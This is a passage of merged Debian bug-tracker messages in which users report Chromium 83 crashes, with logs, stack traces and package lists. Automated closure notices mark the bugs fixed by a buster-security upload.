message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
963548: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=963548
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: chromium
Version: 83.0.4103.116-2
Severity: important

Dear Maintainer,

Launching chromium and using it to browse pages for a period of time 
(varying between
15 minutes and 2 hours, but often approximately an hour) led to 
chromium suddenly crashing
and emitting a stacktrace with free(): double free detected in tcache 2

Changing the chromium graphics subsystem to vulkan seemed to change the 
periodic behavior,
resulting in system freezes occasionally instead of outright crashes.

The expected action of browsing web pages would have been for them to 
be rendered as expected
with double-freeing in memory.

-- System Information:
Debian Release: bullseye/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.7.0-1-amd64 (SMP w/12 CPU cores)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=ru_RU.UTF-8, LC_CTYPE=ru_RU.UTF-8 (charmap=UTF-8), 
LANGUAGE=ru_RU.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages chromium depends on:
ii  chromium-common  83.0.4103.116-2
ii  libasound2   1.2.2-2.3
ii  libatk-bridge2.0-0   2.34.1-3
ii  libatk1.0-0  2.36.0-2
ii  libatspi2.0-02.36.0-2
ii  libavcodec58 7:4.3-2
ii  libavformat587:4.3-2
ii  libavutil56  7:4.3-2
ii  libc62.30-8
ii  libcairo21.16.0-4
ii  libcups2 2.3.3-1
ii  libdbus-1-3  1.12.18-1
ii  libdrm2  2.4.102-1
ii  libevent-2.1-7   2.1.11-stable-1
ii  libexpat12.2.9-1
ii  libflac8 1.3.3-1
ii  libfontconfig1   2.13.1-4.2
ii  libfreetype6 2.10.1-2
ii  libgbm1  20.1.2-1
ii  libgcc-s110.1.0-4
ii  libgdk-pixbuf2.0-0   2.40.0+dfsg-5
ii  libglib2.0-0 2.64.3-1
ii  libgtk-3-0   3.24.20-1
ii  libharfbuzz0b2.6.4-1+b1
ii  libicu67 67.1-2
ii  libjpeg62-turbo  1:1.5.2-2+b1
ii  libjsoncpp1  1.7.4-3.1
ii  liblcms2-2   2.9-4+b1
ii  libminizip1  1.1-8+b1
ii  libnspr4 2:4.25-1
ii  libnss3  2:3.53.1-1
ii  libopenjp2-7 2.3.1-1
ii  libopus0 1.3-1+b1
ii  libpango-1.0-0   1.44.7-4
ii  libpangocairo-1.0-0  1.44.7-4
ii  libpng16-16  1.6.37-2
ii  libpulse013.0-5
ii  libre2-7 20200601+dfsg-1
ii  libsnappy1v5 1.1.8-1
ii  libstdc++6   10.1.0-4
ii  libvpx6  1.8.2-1
ii  libwebp6 0.6.1-2+b1
ii  libwebpdemux20.6.1-2+b1
ii  libwebpmux3  0.6.1-2+b1
ii  libx11-6 2:1.6.9-2+b1
ii  libx11-xcb1  2:1.6.9-2+b1
ii  libxcb-dri3-01.14-2
ii  libxcb1  1.14-2
ii  libxcomposite1   1:0.4.5-1
ii  libxcursor1  1:1.2.0-2
ii  libxdamage1  1:1.1.5-2
ii  libxext6 2:1.3.3-1+b2
ii  libxfixes3   1:5.0.3-2
ii  libxi6   2:1.7.10-1
ii  libxml2  2.9.10+dfsg-5+b1
ii  libxrandr2   2:1.5.1-1
ii  libxrender1  1:0.9.10-1
ii  libxslt1.1   1.1.34-4
ii  libxss1  1:1.2.3-1
ii  libxtst6 2:1.2.3-1
ii  zlib1g   1:1.2.11.dfsg-2

Versions of packages chromium recommends:
ii  chromium-sandbox  83.0.4103.116-2

Versions of packages chromium suggests:
pn  chromium-driver  
ii  chromium-l10n83.0.4103.116-2
pn  chromium-shell   

Versions of packages chromium-common depends on:
ii  x11-utils  7.7+5
ii  xdg-utils  1.1.3-2

Versions of packages chromium-common recommends:
ii  chromium-sandbox 83.0.4103.116-2
ii  dunst [notification-daemon]  1.4.1-1
ii  fonts-liberation 1:1.07.4-11
ii  libgl1-mesa-dri  20.1.2-1
ii  libu2f-udev  1.1.10-1
ii  notification-daemon  3.20.0-4
ii  system-config-printer1.5.12-1
ii  upower   0.99.11-2

Versions of packages chromium-sandbox depends on:
ii  libc6  2.30-8

-- no debconf information

Bug#964362: marked as done (chromium crash frequently, SEGV_MAPERR)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 16:02:26 +
with message-id 
and subject line Bug#963548: fixed in chromium 83.0.4103.116-1~deb10u3
has caused the Debian Bug report #963548,
regarding chromium crash frequently, SEGV_MAPERR
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
963548: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=963548
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: chromium
Version: 83.0.4103.116-2
Severity: important

chromium
[5734:5734:0706/092317.088155:ERROR:sandbox_linux.cc(374)] InitializeSandbox()
called with multiple threads in process gpu-process.
[5695:5716:0706/092317.979847:ERROR:database.cc(1632)] History sqlite error 5,
errno 0: database is locked, sql: PRAGMA auto_vacuum
[5695:5716:0706/092317.979932:ERROR:database.cc(1632)] History sqlite error 5,
errno 0: database is locked, sql: PRAGMA journal_mode=TRUNCATE
[5695:5717:0706/092528.357148:ERROR:connection_factory_impl.cc(420)] Failed to
connect to MCS endpoint with error -118
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
[5695:5717:0706/093054.868663:ERROR:socket_stream.cc(218)] Closing stream with
result -2
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
Fontconfig error: Cannot load default config file
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
[5734:5734:0706/094110.141746:ERROR:shared_image_manager.cc(212)]
SharedImageManager::ProduceSkia: Trying to Produce a Skia representation from a
non-existent mailbox.
[5734:5734:0706/094110.143585:ERROR:shared_image_manager.cc(212)]
SharedImageManager::ProduceSkia: Trying to Produce a Skia representation from a
non-existent mailbox.
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB 

Bug#964451: marked as done (chromium (83.0.4103.116-1~deb10u2) constantly crashes and slow)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 16:02:26 +
with message-id 
and subject line Bug#963548: fixed in chromium 83.0.4103.116-1~deb10u3
has caused the Debian Bug report #963548,
regarding chromium (83.0.4103.116-1~deb10u2) constantly crashes and slow
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
963548: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=963548
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: chromium

Version: 83.0.4103.116-1~deb10u2

Followup-For: Bug #964161


update to chromium 83.0.4103.116-1~deb10u2, I experienced constant
crashes and slow execution
--- End Message ---
--- Begin Message ---
Source: chromium
Source-Version: 83.0.4103.116-1~deb10u3
Done: Michael Gilbert 

We believe that the bug you reported is fixed in the latest version of
chromium, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 963...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Michael Gilbert  (supplier of updated chromium package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Sun, 12 Jul 2020 07:08:46 -0400
Source: chromium
Architecture: source
Version: 83.0.4103.116-1~deb10u3
Distribution: buster-security
Urgency: medium
Maintainer: Debian Chromium Team 
Changed-By: Michael Gilbert 
Closes: 963548
Changes:
 chromium (83.0.4103.116-1~deb10u3) buster-security; urgency=medium
 .
   * Fix crashes when a connection error occurs (closes: #963548).
Checksums-Sha1:
 706d2889144330df8fe4ec08fa6bdd87ae9b5613 4298 
chromium_83.0.4103.116-1~deb10u3.dsc
 75cf7ed60f1e15b76f541d2c7f4edf2f3d37 200252 
chromium_83.0.4103.116-1~deb10u3.debian.tar.xz
 0391a6f0c674b69e8448cfc559e05c41adf85003 22443 
chromium_83.0.4103.116-1~deb10u3_source.buildinfo
Checksums-Sha256:
 f72d3a2bb6b66ab4a739c8264705717e54963a14f0735e1834ba4d11ed3fb7f6 4298 
chromium_83.0.4103.116-1~deb10u3.dsc
 4d40116e0750268224e148e2a724c709b93b9bd4fbbc3367d773919b31054643 200252 
chromium_83.0.4103.116-1~deb10u3.debian.tar.xz
 96dddce9a992fda54bd29ff6d043aef5bbf1485e0f9f5fd1a48686e3f24ed274 22443 
chromium_83.0.4103.116-1~deb10u3_source.buildinfo
Files:
 8bae2345fe227f50f58b46a098229922 4298 web optional 
chromium_83.0.4103.116-1~deb10u3.dsc
 326f19f68dde4da3bdf30a4514500264 200252 web optional 
chromium_83.0.4103.116-1~deb10u3.debian.tar.xz
 1252c11fdfbf5ffc7225d13fa6c54f63 22443 web optional 
chromium_83.0.4103.116-1~deb10u3_source.buildinfo

-BEGIN PGP SIGNATURE-

iQQzBAEBCgAdFiEEIwTlZiOEpzUxIyp4mD40ZYkUaygFAl8K8CoACgkQmD40ZYkU
ayjqYB/8DEDcy00fiZAOargIvsc9Zaa/qs96OzJETUhvysa9yXHvw9IkQF1WezsF
kvSQk/gxRAVkwi35czTp0aq44qxVWnu4b6TZUXVYUh4FERDMuTLW5OUI1DJaC4L0
PcittxXIRJuok8D5P96HDi+eOdG9hAdIwVwNBxaIHm3HUcENpeBpkt+pGVWKkIuL
/gigo6ZOiDFooiF6qKgbk8pC0ShnLpypg4RqbCSaaPAvkCQtQ/V/AjvVaeY/tqtL
jAwRzB0d5m1SW7wBe/m7xufe6bF06qPtxluNs3ajazUYV8BZodZg3gTU37/+KC96
okX+zjGY881Sqt0hOXH9w+qLTce/f8zt38FP8wz+YdrEh37Fryikx++pFbiinpcO
Yv4/+VQdUCB0Q4nueBVHdBlKGW0yA9RrZiUPTYVtfvtNeb9NSr7iDiz2rKaD9ZAh
X5EM6lqgw7QSuMZHGkyNZToDbaoLECcg4FI/iF2Hnzgd++ut/JFfuZbJPWKc5lKU
5fZhS9v/N1LWLgOK38nRW8T+yowCHtjY0u2OHzqmbdzK1SfIjoKC1pBwp6lnJb4C
2EiO7xLQ7xUUY/BBYRKIjtzXpwbzI6mn1RVKieipg1/fhUuha8ucnkg0KJXTeo7x
BNRHQOkJwznYk/169ZzElwAtoH+jgPFXuwHxu6cCJzu+I/TCZ2Y3Mhbb9vwz6wS+
cgkBBNRaCfvnzIQlIr+58d6Lnq32fzg3iIfset2//OXVW5aa5j/jXielVcmtDzCW
bSP6evis2UsBoaWvmjpz3dDmKDjxe8PnFu7fnKMD/GqfXiyU/UYHiX/02/DQtV63
GW6lU7W8tM2I62UcXMBjAK0tCrwtGXaLbXLLcEeoVpdBASog98n6OQ0T1c3hSogO
oUvf/QVpzNSbWzCvOekZOPY5uRxnOLk+SS4o4B1deVxIaCS3IwQWbjFQsgpBj0Zc
NOpVj6wxuyUb6K0LgWEarkhOUnJiTT//oSMSsUFGrb8zPxFuhCbCURISslWiC3Cn
st8sZTlv8EK4+ptUQax7YH8Hig4X4vNAWquf1hKGbMxuWiptzfrPV1LzdqaplWpk
oXBaLf7a79CIuDor45vAVjiPMB6/r/+Hjs9H8leoxtdip/X2/B7j803ABFyJ0L/T
Rdwq4w8QFu5KvuT6d9ZtxG3p6f31epdIgeB2rnpI47mzIbrLqr87QWjwE8svQY7R
nS0FW3Xruqg9Me39KQiRaRfsbRIcMJ8psxpPfPZ88X/5HEeorrvR2sYsMIRI05XW
cMdaf/ECeCHGsr+E/8FDY1Jo5XTrFtU/yGCA4N2w3Ojuh+bQa6jOPvcwqLstLC/3
z3jz+6XTfPxP2ofHp4qPCOdc+QcEgQ==
=qxGw
-END PGP SIGNATURE End Message ---

Bug#964817: marked as done (chromium 83.0.4103.116-1~deb10u2 crashes frequently)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 16:02:26 +
with message-id 
and subject line Bug#963548: fixed in chromium 83.0.4103.116-1~deb10u3
has caused the Debian Bug report #963548,
regarding chromium 83.0.4103.116-1~deb10u2 crashes frequently
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
963548: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=963548
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: chromium
Version: 83.0.4103.116-1~deb10u2
Severity: important

Dear Maintainer,

Chromium 83.0.4103.116-1~deb10u2 crashes frequently.
This issue was available in the previous version, as mentioned here:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964145

However, chromium still crashes and is not reliable as a daily ride.

-- Chromium Crash Log:
chromium --enable-logging --v=1
[12943:12943:0710/211759.550300:ERROR:edid_parser.cc(102)] Too short EDID data: 
manufacturer id
[12943:13016:0710/211759.634925:ERROR:bus.cc(393)] Failed to connect to the 
bus: Could not parse server address: Unknown address type (examples of valid 
types are "tcp" and on UNIX "unix")
[12943:13016:0710/211759.634993:ERROR:bus.cc(393)] Failed to connect to the 
bus: Could not parse server address: Unknown address type (examples of valid 
types are "tcp" and on UNIX "unix")
[12943:13016:0710/211759.955874:ERROR:bus.cc(393)] Failed to connect to the 
bus: Could not parse server address: Unknown address type (examples of valid 
types are "tcp" and on UNIX "unix")
[12943:13016:0710/211759.955951:ERROR:bus.cc(393)] Failed to connect to the 
bus: Could not parse server address: Unknown address type (examples of valid 
types are "tcp" and on UNIX "unix")
[13018:13018:0710/211800.041333:ERROR:sandbox_linux.cc(374)] 
InitializeSandbox() called with multiple threads in process gpu-process.
[13018:13076:0710/211800.054058:ERROR:gbm_wrapper.cc(271)] Failed to export 
buffer to dma_buf: No such file or directory (2)
..
..
[13018:13076:0710/211800.056919:ERROR:gbm_wrapper.cc(271)] Failed to export 
buffer to dma_buf: No such file or directory (2)

[13085:5:0710/211800.367844:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
..
..
[13603:63:0710/211807.541712:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
libpng warning: iCCP: known incorrect sRGB profile
[13603:63:0710/211807.647847:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
[13603:63:0710/211807.648026:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
[13603:63:0710/211807.648071:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
[13603:63:0710/211807.648112:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
[13603:63:0710/211807.648151:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
libpng warning: iCCP: known incorrect sRGB profile
[13603:63:0710/211812.051541:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
..
..
[13603:63:0710/211824.263390:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
libpng warning: iCCP: known incorrect sRGB profile
[13603:63:0710/211824.383112:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
..
..
[13603:63:0710/211827.204501:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
libpng warning: iCCP: known incorrect sRGB profile
[13603:63:0710/211827.278531:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
..
..
[13603:63:0710/211843.573456:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
[13603:63:0710/211843.573970:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
libpng warning: iCCP: known incorrect sRGB profile
[13603:63:0710/211843.646095:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
..
..
[13603:63:0710/211845.434261:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
[13603:63:0710/211846.922060:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
libpng warning: iCCP: known incorrect sRGB profile
[13603:63:0710/211846.996220:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
[13603:63:0710/211847.008792:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
[13603:63:0710/211847.009070:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed
[13603:63:0710/211849.214166:ERROR:paint_controller.cc(646)] 
PaintController::FinishCycle() completed

Bug#964760: marked as done (chromium: Chromium 83.0.4103.116-2 crash : SEGV_MAPERR)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 16:02:26 +
with message-id 
and subject line Bug#963548: fixed in chromium 83.0.4103.116-1~deb10u3
has caused the Debian Bug report #963548,
regarding chromium: Chromium 83.0.4103.116-2 crash : SEGV_MAPERR
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
963548: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=963548
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: chromium
Version: 83.0.4103.116-2
Severity: normal

Dear Maintainer,

Since the last update to fix the problem with ffmpeg, I regularly crash 
Chromium.

Received signal 11 SEGV_MAPERR 7f01ed233d87
#0 0x55b6d1599c69 (/usr/lib/chromium/chromium+0x52b3c68)
#1 0x55b6d14f8ef3 (/usr/lib/chromium/chromium+0x5212ef2)
#2 0x55b6d15997f1 (/usr/lib/chromium/chromium+0x52b37f0)
#3 0x7f950e5c8110 (/usr/lib/x86_64-linux-gnu/libpthread-2.30.so+0x1410f)
#4 0x7f95096aed3c (/usr/lib/x86_64-linux-gnu/libc-2.30.so+0x85d3b)
#5 0x7f95096b0f33 (/usr/lib/x86_64-linux-gnu/libc-2.30.so+0x87f32)
#6 0x7f95096b2bf9 __libc_malloc
#7 0x55b6d15b19be operator new()
#8 0x7f9509939a2c std::__cxx11::basic_string<>::reserve()
#9 0x7f950992f498 std::__cxx11::basic_stringbuf<>::overflow()
#10 0x7f950993804a std::basic_streambuf<>::xsputn()
#11 0x7f950992a714 std::__ostream_insert<>()
#12 0x55b6d1599d39 (/usr/lib/chromium/chromium+0x52b3d38)
#13 0x55b6d159a054 (/usr/lib/chromium/chromium+0x52b4053)
#14 0x55b6d150b412 (/usr/lib/chromium/chromium+0x5225411)
#15 0x55b6d150d548 (/usr/lib/chromium/chromium+0x5227547)
#16 0x55b6cfc5312a (/usr/lib/chromium/chromium+0x396d129)
#17 0x55b6cfc5317e (/usr/lib/chromium/chromium+0x396d17d)
#18 0x55b6cf2a8387 (/usr/lib/chromium/chromium+0x2fc2386)
#19 0x55b6cfc0c3d9 (/usr/lib/chromium/chromium+0x39263d8)
#20 0x55b6cfc0c61e (/usr/lib/chromium/chromium+0x392661d)
#21 0x55b6cfc56967 (/usr/lib/chromium/chromium+0x3970966)
#22 0x55b6cfc824c7 (/usr/lib/chromium/chromium+0x399c4c6)
#23 0x55b6cfc8277e (/usr/lib/chromium/chromium+0x399c77d)
#24 0x55b6cfc5313f (/usr/lib/chromium/chromium+0x396d13e)
#25 0x55b6cfc5317e (/usr/lib/chromium/chromium+0x396d17d)
#26 0x55b6cf2a8387 (/usr/lib/chromium/chromium+0x2fc2386)
#27 0x55b6cf56b7a3 (/usr/lib/chromium/chromium+0x32857a2)
#28 0x55b6cf8da0bc (/usr/lib/chromium/chromium+0x35f40bb)
#29 0x55b6d16cb45f (/usr/lib/chromium/chromium+0x53e545e)
#30 0x55b6d16d1a24 (/usr/lib/chromium/chromium+0x53eba23)
#31 0x55b6d16cfb62 (/usr/lib/chromium/chromium+0x53e9b61)
#32 0x55b6d16ce82d (/usr/lib/chromium/chromium+0x53e882c)
#33 0x55b6d16c7213 (/usr/lib/chromium/chromium+0x53e1212)
#34 0x55b6d16e2abb (/usr/lib/chromium/chromium+0x53fcaba)
#35 0x55b6d16e2de0 (/usr/lib/chromium/chromium+0x53fcddf)
#36 0x55b6d16e2370 (/usr/lib/chromium/chromium+0x53fc36f)
#37 0x55b6cf554c46 (/usr/lib/chromium/chromium+0x326ec45)
#38 0x55b6cf55476c (/usr/lib/chromium/chromium+0x326e76b)
#39 0x55b6cf550eed (/usr/lib/chromium/chromium+0x326aeec)
#40 0x55b6cf54774b (/usr/lib/chromium/chromium+0x326174a)
#41 0x55b6cf53a044 (/usr/lib/chromium/chromium+0x3254043)
#42 0x55b6cf539d75 (/usr/lib/chromium/chromium+0x3253d74)
#43 0x55b6cf558426 (/usr/lib/chromium/chromium+0x3272425)
#44 0x55b6d15b70e0 (/usr/lib/chromium/chromium+0x52d10df)
#45 0x7f950d37db0f (/usr/lib/x86_64-linux-gnu/libevent-2.1.so.7.0.0+0x23b0e)
#46 0x7f950d37e24f event_base_loop
#47 0x55b6d15b738e (/usr/lib/chromium/chromium+0x52d138d)
#48 0x55b6d15575d5 (/usr/lib/chromium/chromium+0x52715d4)
#49 0x55b6d152f670 (/usr/lib/chromium/chromium+0x524966f)
#50 0x55b6cf8753b3 (/usr/lib/chromium/chromium+0x358f3b2)
#51 0x55b6d156d2a9 (/usr/lib/chromium/chromium+0x52872a8)
#52 0x55b6d15a9c9e (/usr/lib/chromium/chromium+0x52c3c9d)
#53 0x7f950e5bcf27 start_thread
#54 0x7f950972631f clone
  r8: 0077  r9: 0050 r10: 0006 r11: 
007c
 r12: 7f94ec20 r13: 7f94ec30 r14: 7f94ed264530 r15: 
0020
  di: 0021  si: 0004  bp: 0020  bx: 
7f01ed233d7f
  dx: 7f94ec80  ax: 7f94ec47d660  cx: 7f01ed233d7f  sp: 
7f94fa6d3440
  ip: 7f95096aed3c efl: 00010202 cgf: 002b0033 erf: 
0004
 trp: 000e msk:  cr2: 7f01ed233d87
[end of stack trace]
Calling _exit(1). Core file will not be generated.


Regards.




-- System Information:
Debian Release: bullseye/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'testing'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.7.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=fr_FR.UTF-8, 

Bug#963548: marked as done (Received signal 11 SEGV_MAPERR)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 16:02:26 +
with message-id 
and subject line Bug#963548: fixed in chromium 83.0.4103.116-1~deb10u3
has caused the Debian Bug report #963548,
regarding Received signal 11 SEGV_MAPERR
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
963548: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=963548
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: chromium
Version: 83.0.4103.106-1

Looks like 83 is bad. Browse about 10 minutes and

Received signal 11 SEGV_MAPERR 7f0168b7a277
#0 0x55e2011c3bf9 (/usr/lib/chromium/chromium+0x52b3bf8)
#1 0x55e201122e83 (/usr/lib/chromium/chromium+0x5212e82)
#2 0x55e2011c3781 (/usr/lib/chromium/chromium+0x52b3780)
#3 0x7f168c517110 (/lib/x86_64-linux-gnu/libpthread-2.30.so+0x1410f)
#4 0x7f16877e8d3c (/lib/x86_64-linux-gnu/libc-2.30.so+0x85d3b)
#5 0x7f16877eaf33 (/lib/x86_64-linux-gnu/libc-2.30.so+0x87f32)
#6 0x7f16877ecbf9 __libc_malloc
#7 0x55e2011db94e operator new()
#8 0x7f1687a73a2c std::__cxx11::basic_string<>::reserve()
#9 0x7f1687a69498 std::__cxx11::basic_stringbuf<>::overflow()
#10 0x7f1687a7204a std::basic_streambuf<>::xsputn()
#11 0x7f1687a64714 std::__ostream_insert<>()
#12 0x55e2011c3cc9 (/usr/lib/chromium/chromium+0x52b3cc8)
...
#46 0x7f168b2cd24f event_base_loop
#47 0x55e2011e1421 (/usr/lib/chromium/chromium+0x52d1420)
...
#53 0x7f168c50bf27 start_thread
#54 0x7f168786031f clone

I'll go back to 81 for now.
--- End Message ---
--- Begin Message ---
Source: chromium
Source-Version: 83.0.4103.116-1~deb10u3
Done: Michael Gilbert 

We believe that the bug you reported is fixed in the latest version of
chromium, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 963...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Michael Gilbert  (supplier of updated chromium package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Sun, 12 Jul 2020 07:08:46 -0400
Source: chromium
Architecture: source
Version: 83.0.4103.116-1~deb10u3
Distribution: buster-security
Urgency: medium
Maintainer: Debian Chromium Team 
Changed-By: Michael Gilbert 
Closes: 963548
Changes:
 chromium (83.0.4103.116-1~deb10u3) buster-security; urgency=medium
 .
   * Fix crashes when a connection error occurs (closes: #963548).
Checksums-Sha1:
 706d2889144330df8fe4ec08fa6bdd87ae9b5613 4298 
chromium_83.0.4103.116-1~deb10u3.dsc
 75cf7ed60f1e15b76f541d2c7f4edf2f3d37 200252 
chromium_83.0.4103.116-1~deb10u3.debian.tar.xz
 0391a6f0c674b69e8448cfc559e05c41adf85003 22443 
chromium_83.0.4103.116-1~deb10u3_source.buildinfo
Checksums-Sha256:
 f72d3a2bb6b66ab4a739c8264705717e54963a14f0735e1834ba4d11ed3fb7f6 4298 
chromium_83.0.4103.116-1~deb10u3.dsc
 4d40116e0750268224e148e2a724c709b93b9bd4fbbc3367d773919b31054643 200252 
chromium_83.0.4103.116-1~deb10u3.debian.tar.xz
 96dddce9a992fda54bd29ff6d043aef5bbf1485e0f9f5fd1a48686e3f24ed274 22443 
chromium_83.0.4103.116-1~deb10u3_source.buildinfo
Files:
 8bae2345fe227f50f58b46a098229922 4298 web optional 
chromium_83.0.4103.116-1~deb10u3.dsc
 326f19f68dde4da3bdf30a4514500264 200252 web optional 
chromium_83.0.4103.116-1~deb10u3.debian.tar.xz
 1252c11fdfbf5ffc7225d13fa6c54f63 22443 web optional 
chromium_83.0.4103.116-1~deb10u3_source.buildinfo

-BEGIN PGP SIGNATURE-

